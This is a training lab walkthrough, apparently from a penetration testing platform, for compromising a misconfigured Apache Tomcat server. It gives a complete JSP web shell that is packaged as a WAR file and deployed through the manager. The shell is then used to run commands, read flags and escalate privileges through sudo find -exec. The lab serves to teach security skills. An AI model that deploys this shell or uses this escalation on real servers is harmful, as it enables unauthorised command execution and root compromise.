Dive into a realistic web application penetration testing scenario featuring Apache Tomcat. This server has been left with dangerous default configurations and sudo misconfigurations that could lead to complete system compromise. 🎯 Master the art of web application exploitation, WAR file deployment, and Linux privilege escalation in this hands-on challenge.
Launch your dedicated machine to begin hacking
This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.
nmap -sS -sV -Pn <target-ip>http://<target-ip>:8080http://<target-ip>:8080/manager/htmlmkdir webshell
cd webshell
echo '<%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while((line = reader.readLine()) != null) { out.println(line + "<br/>"); } } %>' > shell.jsp
jar -cvf ../shell.war *
cd ..http://<target-ip>:8080/shell/shell.jsp?cmd=whoamihttp://<target-ip>:8080/shell/shell.jsp?cmd=idhttp://<target-ip>:8080/shell/shell.jsp?cmd=cat /home/flag-user.txthttp://<target-ip>:8080/shell/shell.jsp?cmd=sudo -lhttp://<target-ip>:8080/shell/shell.jsp?cmd=sudo%20find%20/root%20-name%20flag-root.txt%20-exec%20cat%20%7B%7D%20%2BChoose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email